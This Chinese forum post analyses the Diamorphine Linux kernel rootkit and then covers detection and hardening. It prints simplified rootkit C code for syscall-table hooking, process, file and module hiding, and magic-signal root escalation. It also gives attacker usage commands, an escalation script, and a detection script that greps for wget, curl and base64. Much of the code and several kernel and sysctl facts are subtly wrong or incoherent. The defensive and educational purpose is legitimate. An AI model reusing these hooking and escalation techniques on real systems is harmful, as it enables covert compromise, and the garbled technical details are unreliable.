找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3224

积分

0

好友

430

主题
发表于 昨天 22:51 | 查看: 4| 回复: 0

Rootkit 是信息安全的“暗物质”——你看不见它,但它可能无处不在。想象一下,你的服务器 top 命令显示 CPU 占用率正常,而一个挖矿木马正在后台全速运转;ps 命令显示系统干干净净,攻击者却正通过一个你绝对想不到的 PID 连接着矿池。这就是 Rootkit 的恐怖之处:它不仅隐藏自己,还能在你眼皮底下完成所有操作,而你还以为一切正常。

一、Rootkit的本质:内核级操控的艺术

为什么Rootkit如此可怕

传统恶意软件 vs Rootkit:

传统恶意软件(在用户态运行):
┌─────────────────────────────────┐
│  用户空间                        │
│  ┌─────────┐                   │
│  │  恶意程序 │ ← ps/top 可以看到  │
│  └─────────┘                    │
│  ┌─────────┐                    │
│  │ 系统命令  │ ← 可能被杀软检测   │
│  └─────────┘                    │
└─────────────────────────────────┘
          ↓ 系统调用
┌─────────────────────────────────┐
│         内核空间                  │
│   (系统调用接口)                   │
└─────────────────────────────────┘

Rootkit(在 内核 空间运行):
┌─────────────────────────────────┐
│  用户空间                        │
│  ┌─────────┐                    │
│  │ 系统命令  │ ← 被Rootkit劫持    │
│  │ ps/top   │ ← 返回假数据       │
│  └─────────┘                    │
└─────────────────────────────────┘
          ↓ 系统调用(被Hook)
┌─────────────────────────────────┐
│         内核空间                  │
│  ┌─────────────────────────┐     │
│  │   Rootkit(LKM模块)     │ ← 对杀软不可见 │
│  │   Hook系统调用           │     │
│  └─────────────────────────┘     │
│  ┌─────────────────────────┐     │
│  │   真实系统调用           │ ← 被Rootkit拦截 │
│  └─────────────────────────┘     │
└─────────────────────────────────┘

关键差异:

维度 用户态恶意软件 Rootkit(内核态)
可见性 对用户可见 对用户完全不可见
检测难度 容易被杀软检测 传统杀软几乎无法检测
权限级别 普通用户/root 内核级权限
持久性 进程可能被kill 内核模块常驻,系统启动即加载
隐蔽性 文件可能被发现 文件、进程、网络全隐藏
影响力 影响单个进程 影响整个系统所有操作

Rootkit的历史演变

从 1980 年代到今天,Rootkit 经历了三次重大技术迭代:

Rootkit进化史
│
├─ 第一代(1990-2000):用户态Rootkit
│  ├─ 替换系统二进制文件(ps、ls、netstat)
│  ├─ 寄生在正常程序中
│  └─ 检测方法:md5sum校验、文件完整性监控
│
├─ 第二代(2000-2010):内核态Rootkit(LKM)
│  ├─ 加载为Linux内核模块
│  ├─ Hook系统调用表
│  ├─ 检测方法:内核模块列表检查、系统调用表完整性
│
└─ 第三代(2010至今):高级隐藏技术
   ├─ Hook更底层的内核函数
   ├─ 利用VFS层隐藏文件
   ├─ DKOM(Direct Kernel Object Manipulation)
   ├─ 进程PID隐藏
   ├─ 网络连接隐藏
   └─ 利用eBPF/内核漏洞

二、Diamorphine Rootkit:教科书级的LKM攻击

Diamorphine项目分析

Diamorphine 是目前最流行的开源 LKM Rootkit 之一,也是我们分析的主要对象。

项目特征:

属性 描述
语言 C(内核模块)
平台 Linux x86/x86_64
内核版本 2.6 - 5.x(理论上支持)
主要功能 进程隐藏、模块隐藏、文件隐藏、root权限获取
隐蔽等级
公开程度 GitHub开源,任何人都可以下载研究

项目结构:

diamorphine/
├── diamorphine.c        # 主模块代码
├── diamorphine.h        # 头文件
├── Makefile             # 编译脚本
├── README.md            # 使用说明
└── secretkiller.c       # 提权工具(需单独编译)

核心代码剖析:Hook系统调用

Diamorphine 通过 Hook 系统调用 实现隐藏。

系统调用是什么?

用户程序想要读取文件
        ↓
glibc库函数 read()
        ↓
系统调用:sys_read 或 __NR_read
        ↓
内核执行 read 系统调用处理函数
        ↓
返回结果给用户

Diamorphine如何Hook?

// 简化版的Hook原理

// 原始系统调用表
static int(*original_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

// Hook后的函数
static int hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
// 第1步:调用原始系统调用,获取真实结果
int ret = original_getdents64(fd, dirp, count);

// 第2步:处理返回结果(目录遍历结果)
if (ret > 0) {
struct linux_dirent64 *d = dirp;
int bpos = 0;

// 第3步:遍历目录项,隐藏目标
for (;;) {
// 如果是需要隐藏的文件/目录
if (should_hide(d->d_name)) {
// 从返回缓冲区中移除这个目录项
                remove_dirent(d, dirp, &bpos, &ret);
continue;
            }

// 移动到下一个目录项
            d = (struct linux_dirent64 *)((char *)d + d->d_reclen);
            bpos += d->d_reclen;

if (bpos >= ret)
break;
        }
    }

return ret;
}

// 安装Hook
static int hook_syscall(void) {
// 保存原始函数指针
    original_getdents64 = (void *)sys_call_table[__NR_getdents64];

// 关闭写保护(内核页面保护)
    write_cr0(read_cr0() & (~0x10000));

// 替换为Hook函数
    sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;

// 重新开启写保护
    write_cr0(read_cr0() | 0x10000);

return 0;
}

进程隐藏技术详解

这是 Diamorphine 最核心的功能之一。

Linux如何实现进程隐藏?

// Diamorphine的进程隐藏实现

// 定义Magic信号
#define SIG_HIDE 31   // 隐藏进程
#define SIG_ROOT 64   // 获取root
#define SIG_MOD  63   // 隐藏模块

// 遍历所有进程的函数
static struct task_struct *find_task(pid_t pid) {
struct task_struct *task;

// for_each_process 是内核提供的宏,遍历所有进程
    for_each_process(task) {
if (task->pid == pid) {
return task;
        }
    }

return NULL;
}

// 设置进程为“不可见”
static int hide_process(pid_t pid) {
struct task_struct *task;

    task = find_task(pid);
if (!task)
return -ESRCH;

// 关键操作:将进程标志设置为 PF_INVISIBLE
// 这是Diamorphine自定义的标志,不在标准Linux内核中
    task->flags |= PF_INVISIBLE;

// 从PID哈希表中移除(破坏进程查找数据结构)
    detach_pid(task, PIDTYPE_PID);

return 0;
}

// 从PIDTYPE_PID哈希表中断开
static void detach_pid(struct task_struct *task, enum pid_type type) {
struct upid *upid;
unsigned nr;

// 获取PID号
    nr = pid_nr(task->pids[type].nr);

// 从内核的PID哈希表中移除
// 这会导致find_pid_ns等函数找不到这个进程
    hlist_del_rcu(&task->pids[type].node);

// 更新进程计数
    put_pid_ns(task->pids[type].nr, task->nsproxy->pid_ns_for_children);
}

// 关键:设置 PF_INVISIBLE 标志
// 这个标志会被内核代码检查,如果设置则隐藏进程

PF_INVISIBLE标志的定义:

// 在 Diamorphine 中定义的“隐藏进程”标志
// 这不是Linux内核的标准标志,而是一个自定义标志
// 被hook的函数会检查这个标志来隐藏进程

// 在 kernel/fork.c 中,PF_* 标志的定义通常如下:
/* 进程的进程标志(task_struct->flags) */
#define PF_INVISIBLE  0x04000000  /* Diamorphine自定义 - 隐藏进程 */

/*
 * 当ps、top等命令读取/proc时
 * 内核会调用do_task_stat等函数
 * Diamorphine hook了相关函数,检查这个标志
 * 如果进程设置了这个标志,就不显示它
 */

Magic Signal:攻击者的“遥控器”

Diamorphine 通过信号机制实现“后门命令”。

原理:

// Hook kill 系统调用
static int hooked_kill(struct task_struct *tsk, int sig) {
struct task_struct *target;
pid_t pid;

// 从寄存器获取目标PID
// 注意:这里简化了,实际代码更复杂

switch(sig) {
case SIG_HIDE:  // 31 = 隐藏进程
            pid = target_pid_from_kill_args();
            hide_process(pid);
return 0;

case SIG_ROOT:  // 64 = 获取root权限
// 提权逻辑
            elevate_to_root(pid);
return 0;

case SIG_MOD:   // 63 = 隐藏模块
// 隐藏Rootkit自身
            hide_module(diamorphine_module);
return 0;
    }

// 非魔法信号,调用原始kill
return original_kill(tsk, sig);
}

攻击者如何使用:

# 加载Rootkit模块
insmod diamorphine.ko

# 隐藏挖矿进程(假设PID是1234)
kill -31 1234

# 隐藏Rootkit自身
kill -31 1  # 隐藏模块自身的PID(模块没有PID,但可以隐藏模块)

# 获取root权限(针对某个setuid程序)
kill -64 5678  # 针对sudo或su进程,执行后调用者获得root

# 验证隐藏效果
ps aux | grep miner
# 无输出(进程已被隐藏)

lsmod | grep diamorphine
# 无输出(模块已被隐藏)

提权(Root Escalation)原理

Diamorphine 如何实现权限提升?

// 提权函数简化版
static int elevate_to_root(pid_t pid) {
struct task_struct *task;
struct cred *new_cred;

    task = find_task(pid);
if (!task)
return -ESRCH;

// 分配新的凭证结构
    new_cred = prepare_creds();
if (!new_cred)
return -ENOMEM;

// 关键:将所有UID/GID设置为0(root)
    new_cred->uid = GLOBAL_ROOT_UID;
    new_cred->euid = GLOBAL_ROOT_UID;
    new_cred->suid = GLOBAL_ROOT_UID;
    new_cred->fsuid = GLOBAL_ROOT_UID;

    new_cred->gid = GLOBAL_ROOT_GID;
    new_cred->egid = GLOBAL_ROOT_GID;
    new_cred->sgid = GLOBAL_ROOT_GID;
    new_cred->fsgid = GLOBAL_ROOT_GID;

// 提交新凭证
    commit_creds(new_cred);

return 0;
}

提权的实际利用场景:

#!/bin/bash
# elevation.sh
# 利用Diamorphine进行权限提升

echo "
  • Looking for processes we can target..." # 找到一个带有SUID权限的程序 # 通常选择 bash 或 sh,因为它们可能被设置为SUID root # 方法1:针对当前shell # 如果当前shell是普通用户,可以通过kill触发提权 # 方法2:针对SUID程序 for pid in $(pgrep -f "su-root|sudo"); do echo "[+] Sending SIGROOT to $pid" kill -64 $pid done # 验证 id # 应该显示:uid=0(root) gid=0(root) # 或者更隐蔽的方式 # 攻击者通过某种渠道发送信号后直接获得root
  • 文件与目录隐藏

    Diamorphine 通过 hook getdents/getdents64 来隐藏文件:

    // 文件隐藏实现
    
    // 检查文件名是否符合隐藏条件
    static int should_hide_file(const char *name) {
    // 1. 检查是否匹配 “diamorphine” 字符串
    if (strstr(name, "diamorphine"))
    return 1;
    
    // 2. 检查是否以 “.” 开头(隐藏文件)
    if (name[0] == '.')
    return 1;
    
    // 3. 检查是否在隐藏列表中
    if (is_in_hide_list(name))
    return 1;
    
    // 4. 检查是否匹配magic prefix(自定义隐藏)
    if (starts_with(name, MAGIC_PREFIX))
    return 1;
    
    return 0;
    }
    
    // Hook getdents64
    static int hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    // 调用原始系统调用
    int ret = original_getdents64(fd, dirp, count);
    
    if (ret <= 0)
    return ret;
    
    // 遍历返回的目录项,移除需要隐藏的文件
    char *ptr = (char *)dirp;
    int remaining = ret;
    
    while (remaining > 0) {
    struct linux_dirent64 *d = (struct linux_dirent64 *)ptr;
    int len = d->d_reclen;
    
    if (should_hide_file(d->d_name)) {
    // 从缓冲区中移除这个目录项
    // 方法:将该项之后的所有数据向前移动
                memmove(ptr, ptr + len, remaining - len);
                ret -= len;
            }
    
            remaining -= len;
            ptr += len;
        }
    
    return ret;
    }

    三、现代Rootkit的高级技术

    技术1:VFS层Hook

    Virtual File System(虚拟文件系统)层 Hook 比系统调用表 Hook 更难检测。

    原理:

    正常文件操作:
    ┌─────────┐     ┌─────────┐     ┌─────────┐
    │ 用户程序│ ──→ │  VFS层  │ ──→ │  Ext4/  │
    │ open() │     │         │     │  XFS等  │
    └─────────┘     └─────────┘     └─────────┘
                        ↑
                VFS提供统一的文件操作接口
                Hook VFS = 拦截所有文件操作
    
    Rootkit Hook后:
    ┌─────────┐     ┌─────────┐     ┌─────────┐
    │ 用户程序│ ──→ │ Rootkit │ ──→ │  VFS层  │ ──→ │  Ext4/  │
    │ open() │     │  Hook   │     │         │     │  XFS等  │
    └─────────┘     └─────────┘     └─────────┘     └─────────┘
                        ↑
                Rootkit可以修改文件路径、返回假数据

    实现代码:

    // VFS Hook示例:hook struct file_operations
    
    // 原始的ext4文件操作
    static struct file_operations *orig_file_ops;
    
    // 我们的hook函数
    static ssize_t hooked_read(struct file *file, char __user *buf,
    size_t count, loff_t *pos) {
    // 检查是否读取被监控的文件
    if (should_hide_file(file->f_path.dentry->d_name.name)) {
    // 返回空或假数据
    return -ENOENT;
        }
    
    // 否则调用原始函数
    return orig_file_ops->read(file, buf, count, pos);
    }
    
    // 安装VFS Hook
    static int init_vfs_hook(void) {
    // 获取ext4的文件操作结构
    struct file_system_type *fs_type = get_fs_type("ext4");
    struct super_block *sb = fs_type->get_sb(NULL);
    struct inode *inode = sb->s_root->d_inode;
    
    // 保存原始操作
        orig_file_ops = inode->i_fop;
    
    // 创建新的操作结构(只修改read)
    struct file_operations *new_ops = kmemdup(orig_file_ops,
    sizeof(*orig_file_ops),
                                                             GFP_KERNEL);
        new_ops->read = hooked_read;
    
    // 替换
        inode->i_fop = new_ops;
    
    return 0;
    }

    技术2:DKOM(Direct Kernel Object Manipulation)

    直接操作内核对象,绕过传统函数 Hook 检测。

    进程链表操纵:

    // DKOM:直接从内核的进程链表中移除进程
    
    static int hide_process_dkom(pid_t pid) {
    struct task_struct *task;
    
    // 找到目标进程
        task = find_task(pid);
    if (!task)
    return -1;
    
    // 从内核的进程链表中断开
    // task_struct 中有这些链表节点:
    // - tasks: 所有进程的链表
    // - pids[PIDTYPE_PID].node: PID哈希表节点
    
    // 从主进程链表中断开
        list_del_rcu(&task->tasks);
    
    // 同步
        synchronize_rcu();
    
    // 从PID哈希表中移除
        hlist_del_rcu(&task->pids[PIDTYPE_PID].node);
    
    return 0;
    }

    检测DKOM攻击的难点:

    传统检测方法依赖:
    1. 读取 /proc 目录 → 被Rootkit hook后返回假数据
    2. 遍历task链表 → Rootkit可以修改链表
    3. 遍历PID哈希表 → Rootkit可以修改哈希表
    
    根本问题:
    Rootkit运行在内核态,和检测工具运行在同一空间
    Rootkit可以hook任何检测代码

    技术3:eBPF Rootkit(新兴威胁)

    eBPF(Extended Berkeley Packet Filter)是 Linux 内核的革命性技术,但也被 Rootkit 利用。

    eBPF的优势:

    传统LKM Rootkit eBPF Rootkit
    需要root权限加载 可以普通用户加载(某些情况)
    需要内核源码兼容 有内核验证器保护
    修改内核数据 不修改内核代码
    容易被lsmod发现 lsmod看不到eBPF程序
    签名难绕过 内核验证器有白名单

    eBPF Rootkit示例:

    // eBPF程序:拦截execve系统调用
    
    #include<linux/bpf.h>
    #include<linux/sched.h>
    
    // eBPF程序的License(必须GPL)
    SEC("license") static int gpl_license = GPL_LIB;
    
    // eBPF辅助函数:获取当前进程名
    SEC("raw_tracepoint/sys_enter")
    int trace_execve(struct pt_regs *regs) {
    char comm[TASK_COMM_LEN];
    
    // 获取当前进程名
        bpf_get_current_comm(&comm, sizeof(comm));
    
    // 如果是“xmrig”进程
    if (bpf_strncmp(comm, 5, "xmrig") == 0) {
    // 阻止执行(返回错误)
    return -1;
        }
    
    return 0;
    }

    eBPF Rootkit的利用方式:

    # 使用bcc工具加载eBPF程序
    python3 << 'EOF'
    from bcc import BPF
    
    program = """
    SEC("raw_tracepoint/sys_enter")
    int trace_execve(struct pt_regs *regs) {
        char comm[16];
        bpf_get_current_comm(&comm, 16);
    
        // 隐藏xmrig进程
        if (bpf_strncmp(comm, 5, "xmrig") == 0) {
            return 0;  // 静默丢弃
        }
    
        return 0;
    }
    """
    
    b = BPF(text=program)
    EOF

    四、Rootkit检测技术

    方法1:内核模块签名验证

    内核模块签名是防止未授权 LKM 加载的基本防护。

    # 检查内核模块签名是否启用
    cat /proc/cmdline | grep -i module.sig
    
    # 如果内核启用了模块签名
    # 需要签名才能加载模块
    # 攻击者无法直接insmod未签名模块
    
    # 启用模块签名(编译内核时配置)
    CONFIG_MODULE_SIG=y
    CONFIG_MODULE_SIG_FORCE=y
    CONFIG_MODULE_SIG_ALL=y
    CONFIG_SYSTEM_TRUSTED_KEYS="debian/canonical-certs.pem"
    CONFIG_MODULE_SIG_KEY="debian/certs/signing_key.pem"

    限制: 仅防止新模块加载,已加载的 Rootkit 不受影响。

    方法2:基于内核数据结构的完整性检查

    检查系统调用表是否被篡改。

    // 检查系统调用表完整性
    
    #include<linux/module.h>
    #include<linux/kernel.h>
    
    // 内核导出的sys_call_table(需要内核调试支持)
    extern unsigned long *sys_call_table;
    
    static int check_syscall_table(void) {
    unsigned long orig_cr0;
    
    // 读取CR0寄存器的WP位
        orig_cr0 = read_cr0();
    
    // 如果WP位是1(写保护启用),直接读取
    if (!(orig_cr0 & 0x10000)) {
            printk(KERN_ALERT "Write protection disabled!\n");
    return -1;
        }
    
    // 读取可疑的系统调用
    unsigned long addr = sys_call_table[__NR_getdents64];
    
    // 检查地址是否在内核代码段
    if (!is_kernel_text_addr(addr)) {
            printk(KERN_ALERT "Suspicious syscall handler: %lx\n", addr);
    return -1;
        }
    
    return 0;
    }
    
    static int __init integrity_check_init(void) {
    return check_syscall_table();
    }
    
    module_init(integrity_check_init);
    MODULE_LICENSE("GPL");

    方法3:进程隐藏检测

    通过不依赖 /proc 的方法检测隐藏进程。

    // 方法1:直接读取内核调度器数据结构
    
    static int find_hidden_processes(void) {
    struct task_struct *task;
    int count = 0;
    int hidden = 0;
    
    // 遍历所有PID(内核维护的PID管理结构)
    struct pid *pid;
    struct upid *upid;
    unsigned int i;
    struct pid_namespace *ns = &init_pid_ns;
    
    // 遍历PID哈希表
    for (i = 0; i < PIDMAP_ENTRIES; i++) {
    struct hlist_head *head = &ns->pidmap[i];
    
            hlist_for_each_entry_rcu(upid, head, pid_chain) {
                pid = container_of(upid, struct pid, numbers[0]);
                task = pid_task(pid, PIDTYPE_PID);
    
    if (task) {
                    count++;
    // 检查是否有PF_INVISIBLE标志
    if (task->flags & 0x04000000) {
                        hidden++;
                        printk("Hidden process found: PID=%d, name=%s\n",
                               task->pid, task->comm);
                    }
                }
            }
        }
    
        printk("Total processes: %d, Hidden: %d\n", count, hidden);
    return hidden;
    }

    方法4:基于eBPF的Rootkit检测

    利用 eBPF “魔高一尺,道高一丈”的检测方法。

    #!/usr/bin/env python3
    # eBPF-based rootkit detector
    # 使用eBPF检测进程隐藏和系统调用Hook
    
    from bcc import BPF
    import subprocess
    
    program = """
    #include <linux/sched.h>
    #include <linux/ptrace.h>
    
    // 检测隐藏进程
    // 通过遍历PID哈希表查找,与/proc对比
    
    struct proc_info {
        pid_t pid;
        char comm[TASK_COMM_LEN];
    };
    
    // 从/proc读取的进程(对比用)
    BPF_HASH(proc_seen, pid_t, struct proc_info);
    
    // 计数器
    BPF_ARRAY(hidden_pids, int, 1);
    
    int detect_hidden_process(struct pt_regs *regs) {
        pid_t pid = bpf_get_current_pid_tgid() >> 32;
    
        // 遍历内核的进程链表
        struct task_struct *task;
        struct task_struct *iter;
    
        // 读取task_struct的tasks链表
        bpf_repeat_init(&task, typeof(task), sizeof(task));
    
        // 遍历所有进程(通过for_each_process宏)
        // 这里需要内核内部结构,eBPF限制较多
    
        return 0;
    }
    
    // 检测sys_call_table被修改
    int check_syscall_hook(struct pt_regs *regs) {
        // 读取被调用的系统调用号
        int syscall_nr = PT_REGS_IP(regs) & 0xfff;
    
        // 获取处理函数地址
        unsigned long *sys_call_table;  // 需要kprobe
        unsigned long handler = sys_call_table[syscall_nr];
    
        // 检查地址是否在可信范围
        if (handler < START_KERNEL_MAP || handler > END_KERNEL_MAP) {
            // 可疑的syscall handler
            bpf_trace_printk("Suspicious syscall %d handler: %lx\\n",
                           syscall_nr, handler);
        }
    
        return 0;
    }
    """
    
    def main():
        print("
  • eBPF-based Rootkit Detection")     # 加载eBPF程序     b = BPF(text=program)     # attach kprobe到系统调用入口     b.attach_kprobe(event="__x64_sys_getdents64",                     fn_name="check_syscall_hook")     print("
  • Monitoring system calls...")     print("
  • Press Ctrl+C to stop")     # 输出     b.trace_print() if __name__ == "__main__":     main()
  • 方法5:自动化Rootkit检测工具

    专业工具的原理和使用:

    # 1. rkhunter(Rootkit Hunter)
    # 检测文件属性、隐藏进程、系统调用表等
    rkhunter --check --sk
    
    # 检测项:
    # - 文件属性异常
    # - LKM隐藏(/proc/modules vs lsmod)
    # - 网络接口异常
    # - 恶意字符串
    
    # 2. chkrootkit
    # 传统Rootkit检测工具
    chkrootkit -n
    
    # 检测项:
    # - 系统命令被替换
    # - LKM Rootkit
    # - 隐藏进程
    # - 网络异常
    
    # 3. Lynis
    # Linux安全审计工具
    lynis audit system
    
    # 4. AIDE(Advanced Intrusion Detection Environment)
    # 文件完整性检查
    aide --check
    
    # 需要先建立基准数据库
    aide --init
    aide --update
    
    # 5. OSSEC
    # 基于主机的入侵检测
    ossec-control start
    
    # 实时监控:
    # - 文件完整性
    # - 系统日志
    # - 进程监控
    # - 网络连接

    五、容器环境中的Rootkit威胁

    容器与Rootkit的关系

    关键问题:Rootkit 能在容器内工作吗?

    答案:可以,但有限制。

    ┌─────────────────────────────────────────────────────────┐
    │                  宿主机(Host)                          │
    │  ┌──────────────────────────────────────────────────┐  │
    │  │              内核空间                              │  │
    │  │  ┌─────────────────────────────────────────────┐ │  │
    │  │  │  Diamorphine Rootkit(LKM)                 │ │  │
    │  │  │  - Hook sys_call_table                       │ │  │
    │  │  │  - 隐藏进程/文件/网络连接                     │ │  │
    │  │  │                                              │ │  │
    │  │  └─────────────────────────────────────────────┘ │  │
    │  │                                                  │  │
    │  │  ┌────────┐  ┌────────┐  ┌────────┐              │  │
    │  │  │Container│  │Container│  │Container│              │  │
    │  │  │  容器1  │  │  容器2  │  │  容器3  │              │  │
    │  │  │(Apline) │  │(Ubuntu)│  │(CentOS) │              │  │
    │  │  └────────┘  └────────┘  └────────┘              │  │
    │  └──────────────────────────────────────────────────┘  │
    └─────────────────────────────────────────────────────────┘

    容器内攻击Rootkit的场景:

    场景1:宿主机已植入Rootkit
    - 攻击者通过容器逃逸获得宿主机root
    - 在宿主机加载Rootkit
    - 所有容器的系统调用被Rootkit hook
    - 容器内检测几乎不可能(因为rootkit在宿主机)
    
    场景2:容器内独立Rootkit(罕见)
    - 需要容器有CAP_SYS_MODULE能力
    - 容器以特权模式运行
    - 可以加载内核模块到宿主机内核
    - 这是容器逃逸的一种方式

    容器内Rootkit检测

    #!/bin/bash
    # container_rootkit_check.sh
    # 容器内的Rootkit检测脚本
    
    echo "=== Container Rootkit Detection ==="
    
    # 1. 检查内核模块(如果容器有能力)
    echo "[1] Checking kernel modules..."
    if [ -w "/proc/modules" ]; then
    echo "  [WARN] Container can write to /proc/modules"
    cat /proc/modules | head -20
    else
    echo "  [OK] Cannot read modules (likely safe)"
    fi
    
    # 2. 检查系统调用表是否可写
    echo "[2] Checking syscall table writability..."
    cr0=$(cat /proc/meminfo | grep -i "writable" || echo "readonly")
    echo "  CR0: $cr0"
    
    # 3. 检查隐藏进程(通过遍历/proc)
    echo "[3] Checking for hidden processes..."
    visible_pids=$(ls -1 /proc | grep -E '^[0-9]+$' | wc -l)
    echo "  Visible PIDs: $visible_pids"
    
    # 4. 检查网络连接(异常端口)
    echo "[4] Checking network connections..."
    netstat -tuln 2>/dev/null || ss -tuln
    
    # 5. 检查启动时加载的可疑文件
    echo "[5] Checking startup files..."
    for f in /etc/rc.local /etc/init.d/* /etc/profile.d/*; do
    if [ -f "$f" ]; then
    if grep -qi "wget\|curl\|eval\|base64\|chmod +x" "$f" 2>/dev/null; then
    echo "  [SUSPICIOUS] $f contains suspicious commands"
    fi
    fi
    done
    
    # 6. 检查SSH authorized_keys
    echo "[6] Checking SSH authorized_keys..."
    if [ -f "/root/.ssh/authorized_keys" ]; then
        keys=$(wc -l < /root/.ssh/authorized_keys)
    echo "  $keys keys in authorized_keys"
    if [ "$keys" -gt 3 ]; then
    echo "  [WARN] More than 3 SSH keys"
    fi
    fi
    
    echo "=== Detection Complete ==="

    六、防御方案:构建Rootkit防御体系

    纵深防御架构

    Rootkit防御体系
    │
    ├─ 预防层(Preventive)
    │  ├─ 内核模块签名强制
    │  ├─ 禁用LKM加载(如果不需要)
    │  ├─ 内核加固参数
    │  └─ 安全启动(UEFI Secure Boot)
    │
    ├─ 检测层(Detective)
    │  ├─ 文件完整性监控(AIDE)
    │  ├─ 内核完整性检查
    │  ├─ 行为异常检测(Falco)
    │  ├─ eBPF监控
    │  └─ 定期扫描(rkhunter/chkrootkit)
    │
    ├─ 响应层(Responsive)
    │  ├─ 自动化告警
    │  ├─ 事件响应流程
    │  ├─ 隔离与取证
    │  └─ 系统重建
    │
    └─ 恢复层(Recovery)
       ├─ 备份验证
       ├─ 干净系统重建
       └─ 数据完整性验证

    内核加固配置

    # /etc/sysctl.conf 内核安全加固
    
    # 禁止加载内核模块(除非明确允许)
    kernel.modules_disabled = 1
    
    # 禁止修改dmesg(隐藏内核消息)
    kernel.dmesg_restrict = 1
    
    # 禁止ptrace(防止进程注入)
    kernel.yama.ptrace_scope = 2
    # 0 = 经典(所有进程可以ptrace)
    # 1 = 受限(只有父进程可以)
    # 2 = 仅管理员(需要CAP_SYS_PTRACE)
    # 3 = 完全禁止
    
    # 禁止访问/proc/kcore(内核内存转储)
    kernel.kptr_restrict = 2
    # 0 = 无限制
    # 1 = 仅root用户可访问(非特权用户看到0)
    # 2 = 完全禁止
    
    # 启用地址空间随机化(ASLR)
    kernel.randomize_va_space = 2
    # 0 = 关闭
    # 1 = 部分开启
    # 2 = 完全开启(栈、堆、共享库、VDSO)
    
    # 网络层安全
    net.ipv4.conf.all.accept_source_route = 0
    net.ipv6.conf.all.accept_source_route = 0
    net.ipv4.conf.all.forwarding = 0
    net.ipv4.conf.all.send_redirects = 0
    
    # 启用TCP_syncookies(SYN洪泛防护)
    net.ipv4.tcp_syncookies = 1
    
    # 应用这些配置
    sysctl -p

    容器环境加固

    # K8s Pod安全上下文
    apiVersion: v1
    kind: Pod
    metadata:
      name: hardened-pod
    spec:
      securityContext:
        # 不允许任何特权
        privileged: false
        # 必须以非root运行
        runAsNonRoot: true
        # 用户ID范围
        runAsUser: 10000
        # 文件系统只读
        readOnlyRootFilesystem: true
        # 禁止提升权限
        allowPrivilegeEscalation: false
        # Seccomp配置
        seccompProfile:
          type: RuntimeDefault
      containers:
      - name: app
        image: myapp:latest
        securityContext:
          # 丢弃所有能力
          capabilities:
            drop:
            - ALL
          # 不允许特权升级
          privileged: false
          # 只读文件系统
          readOnlyRootFilesystem: true
          # 禁止执行容器外代码
          allowPrivilegeEscalation: false
          # 临时存储
          tmpfs:
          - size: 100M
            mountPath: /tmp
            readOnly: false

    持续监控体系

    # Falco规则:检测Rootkit行为
    apiVersion: v1
    kind: ConfigMap
    metadata:
      name: falco-config
    data:
      falco.yaml: |
        rules_file:
        - /etc/falco/falco_rules.yaml
        - /etc/falco/rootkit_rules.yaml
    
      rootkit_rules.yaml: |
        - rule: Load Kernel Module
          desc: Detect kernel module loading
          condition: >
            evt.type = init_module
            or evt.type = finit_module
          output: >
            Kernel module loaded
            (user=%user.name command=%proc.cmdline module=%evt.arg.res)
          priority: CRITICAL
    
        - rule: Hidden Process Detected
          desc: Detect potential hidden process
          condition: >
            proc.name != event_sampler
            and count(proc.name) by (pid) > 1
          output: >
            Possible hidden process
            (pid=%proc.pid proc=%proc.name)
          priority: WARNING
    
        - rule: Suspicious Syscall
          desc: Detect suspicious syscall patterns
          condition: >
            evt.type = ptrace
            and not proc.name in (shell_programs)
          output: >
            Suspicious ptrace call
            (user=%user.name pid=%proc.pid target=%proc.name)
          priority: WARNING

    七、案例:一次真实的Rootkit排查

    背景

    某公司发现云服务器CPU使用率异常高,
    但top命令看不到任何高CPU进程。
    安全团队介入调查。

    排查过程

    第一步:初步分析

    $ top
    # 输出:CPU idle 60%,但业务响应极慢
    
    $ ps aux | head -20
    # 输出:看起来正常
    
    $ ps aux | grep -v grep | wc -l
    # 输出:87个进程

    第二步:进程数对比

    # 读取/proc/pid目录数量(不依赖ps)
    $ ls -d /proc/[0-9]* | wc -l
    # 输出:127个进程
    
    # 发现差异!有40个进程被隐藏了!

    第三步:深度检查

    # 检查/proc中的PID列表
    $ ls /proc | grep -E '^[0-9]+$' | sort -n | tail -20
    # 输出:显示到1258
    
    # 但通过其他方式看到的进程数不对
    # 再次验证:
    $ for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    if [ -f /proc/$pid/cmdline ]; then
    echo $pid;
    fi;
    done | wc -l
    # 输出:87
    
    # 确定:有127个PID目录,但只有87个可以读取
    # 说明:40个进程的目录被隐藏了

    第四步:验证Rootkit存在

    # 使用strace跟踪系统调用
    $ strace -f ps aux 2>&1 | grep -i "getdents"
    # 输出:正常
    
    # 检查内核模块
    $ lsmod | grep -i diamorphine
    # 无输出(模块可能被隐藏)
    
    # 尝试直接读取内核模块链表
    $ cat /sys/module/diamorphine/parameters/magic
    # Permission denied 或 文件不存在

    第五步:确认

    # 使用rkhunter
    $ rkhunter --check --sk
    
    # 输出:
    # [1999] Checking for hidden processes            [ Warning ]
    # [2001] Checking for LKM hide header            [ Warning ]
    
    # 确认:系统存在Rootkit

    第六步:响应

    决策:服务器需要重建
    原因:Rootkit可能已获取root权限,系统已不可信
    
    步骤:
    1. 断开网络连接(保留取证)
    2. 导出系统镜像(用于事后分析)
    3. 从干净备份重建服务器
    4. 重新部署应用
    5. 修改所有可能泄露的凭证
    6. 加强监控

    结语:Rootkit战争远未结束

    攻与防的永恒博弈:

    Rootkit技术进化 ←→ 检测技术进化
          ↑                    ↑
          └────────────────────┘
               螺旋式上升
    
    今天的主流检测方法:
    - 内核模块签名
    - 完整性监控
    - 行为分析
    
    明天的Rootkit技术:
    - 固件Rootkit(BIOS/UEFI)
    - 虚拟化Rootkit(hypervisor)
    - eBPF Rootkit
    - 内核代码注入(无模块)

    防御的最终理念:

    1. 预防胜于检测:加固系统,让 Rootkit 难以植入
    2. 检测胜于响应:建立纵深检测体系,快速发现异常
    3. 最小权限:不给攻击者足够的权限空间
    4. 持续监控:安全不是一次配置,而是持续运营

    最重要的原则:

    如果系统已经被 Rootkit 入侵,最安全的做法是从干净的系统重新开始。不要试图“清理”一个已知的被入侵系统——你无法 100% 确认清理干净了。

    对于希望深入了解 安全/渗透/逆向 领域,特别是系统底层攻防技术的朋友,可以参考相关技术社区的讨论和资源进行扩展学习。关于 Linux 内核 和系统安全的更多实践,也可以在 云栈社区 找到丰富的技术讨论和案例分享。




